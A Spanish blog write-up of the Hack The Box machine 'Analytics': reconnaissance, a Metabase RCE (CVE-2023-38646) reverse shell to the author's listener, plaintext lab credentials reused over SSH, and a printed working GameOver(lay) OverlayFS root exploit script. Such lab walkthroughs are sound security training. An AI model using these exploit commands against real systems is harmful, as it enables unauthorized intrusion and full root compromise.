Post

HTB Analytics

Resumen

logo

Analytics es una máquina que consiste en abusar de un servicio web que se encuentra haciendo uso del software “Metabase,” el cual es vulnerable a una ejecución remota de código (RCE) sin necesidad de autenticación. Una vez dentro de la máquina, se puede observar que se está ejecutando en un contenedor Docker, pero esto no es un problema, ya que las credenciales se encuentran almacenadas en texto plano. Por lo tanto, se puede obtener acceso a la máquina. Al revisar la versión del sistema operativo, se nota que el kernel es vulnerable. En mi opinión, es una gran máquina, fue divertida y bastante útil para practicar la enumeración de datos, la identificación de versiones y la búsqueda de exploits

Reconocimiento

Para empezar, se realiza un ping para saber con qué sistema operativo cuenta la máquina.

1
2
3
4
5
6
7
8
❯ ping  -c 1 10.10.11.233

PING 10.10.11.233 (10.10.11.233) 56(84) bytes of data.
64 bytes from 10.10.11.233: icmp_seq=1 ttl=63 time=154 ms

--- 10.10.11.233 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 154.311/154.311/154.311/0.000 ms

Por lo que se puede asumir que el sistema operativo es Linux.

Escaneo de puertos

Ahora se puede realizar un escaneo con nmap para saber qué puertos se encuentran abiertos.

1
sudo nmap -p- --min-rate 2000 10.10.11.233 -oG openPorts -Pn -sS

Y se encuentran abiertos los puertos 22 y 80. Por lo que se hace un escaneo mucho más profundo sobre ellos.

1
2
3
4
5
6
7
8
sudo nmap -p80,20  -sVC 10.10.11.233 -Pn -sS -oN versions

PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
80/tcp open   http     nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración

Al ver que dentro del puerto 80 hay un sitio web, se puede intentar abrirlo para ver qué contiene, pero se encuentra relacionado al dominio analytics.htb, por lo que hay que guardarlo en el archivo /etc/hosts

etchost

1
2
3
4
5
6
7
8
9
# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others

10.10.11.233 analytical.htb

Después de arreglar eso, se puede ver un sitio web en el que existe un inicio de sesión.

web

Pero al hacer clic en el botón, redirige a un nuevo subdominio llamado data, por lo que es necesario agregarlo al archivo /etc/hosts.

1
2
3
4
5
6
7
8
# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others
10.10.11.233 analytical.htb data.analytical.htb

El inicio de sesión está haciendo uso de Metabase para la autenticación. Por lo que se puede investigar un poco más sobre él.

login

Metabase es la herramienta de análisis empresarial o business inteligente que se integra con nuestro software de gestión empresarial y que permite el análisis de la información de tu empresa.

Por lo que se puede buscar algún exploit reciente para intentar ganar acceso a la aplicación, y Lo primero que aparece es la posibilidad de ejecutar comandos sin necesidad de estar autenticado.

exploit

Explotación

La descripción del exploit desarrollado por nickswink dice lo siguiente :

CVE-2023-38646-exploit

“This vulnerability, designated as CVE-2023–38646, allowed attackers to execute arbitrary commands on the server without requiring any authentication.”

El método de ejecución es el siguiente:

1
python3 exploit.py <url> <local-ip> <local-port>
1
python3 exploit.py http://data.analytical.htb/ 10.10.15.135 4444

Y poniéndose a la escucha con nc

1
nc -lvp 4444

Se puede ganar una Shell Reversa

1
2
3
4
5
6
7
b3190b9a602c:/$ whoami
whoami
metabase
b3190b9a602c:/$ hostname
hostname
b3190b9a602c
b3190b9a602c:/$ 

Pero parece que se está dentro de un contenedor, por lo que se quiere escapar de él.

Docker breakout

Al revisar las variables de entorno, se puede ver que existen algunas que parecen ser credenciales.

1
2
3
4
env

META_USER=metalytics
META_PASS=An4lytics_ds20223#

Por lo que se puede intentar usarlas para conectarse por SSH al servidor.

1
2
3
4
5
6
7
❯ ssh metalytics@10.10.11.233
metalytics@10.10.11.233's password:An4lytics_ds20223#

metalytics@analytics:~$ whoami
metalytics
metalytics@analytics:~$ hostname
analytics

Escalada de privilegios

Al revisar información sobre el sistema operativo, se puede ver lo siguiente:

1
2
metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

Por lo que, al revisar si existe alguna forma de vulnerar la versión de Ubuntu, se encuentra que está relacionada con un fallo en overlayFS, que permite escalar privilegios.

Pero antes de explotar, ¿qué es OverlayFS?

En informática, OverlayFS es una implementación de sistema de archivos de montaje de unión para Linux. Combina varios puntos de montaje subyacentes diferentes en uno, lo que da como resultado una estructura de directorio única que contiene archivos y subdirectorios subyacentes de todas las fuentes.

Teniendo eso en mente, se encuentra la siguiente información en GitHub. sobre la vulnerabilidad llamada GameOver(lay) Ubuntu Privilege Escalation

CVE-2023-2640

https://www.cvedetails.com/cve/CVE-2023-2640/

On Ubuntu kernels carrying both c914c0e27eb0 and “UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs”, an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.

CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-32629/

Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.

Vulnerable kernels

Kernel versionUbuntu release
6.2.0Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)
5.19.0Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)
5.4.0Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)

Todo esto gracias al GitHub de g1vi.

Y al revisar las versiones exactas del host, se puede ver lo siguiente:

1
2
3
4
5
6
7
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian

Por lo que se puede hacer uso del exploit, en este caso se copia el script dentro de la máquina para que no sea necesario transferir el archivo.

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

# CVE-2023-2640 CVE-2023-3262: GameOver(lay) Ubuntu Privilege Escalation
# by g1vi https://github.com/g1vi
# October 2023

echo "[+] You should be root now"
echo "[+] Type 'exit' to finish and leave the house cleaned"

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

Se le da permisos de ejecución

1
chmod +x /tmp/exploit.sh

Y al ejecutarlo, se gana acceso como root.

1
2
3
4
metalytics@analytics:/tmp$ bash exploit.sh 
[+] You should be root now
[+] Type 'exit' to finish and leave the house cleaned
root@analytics:/tmp# 
This post is licensed under CC BY 4.0 by the author.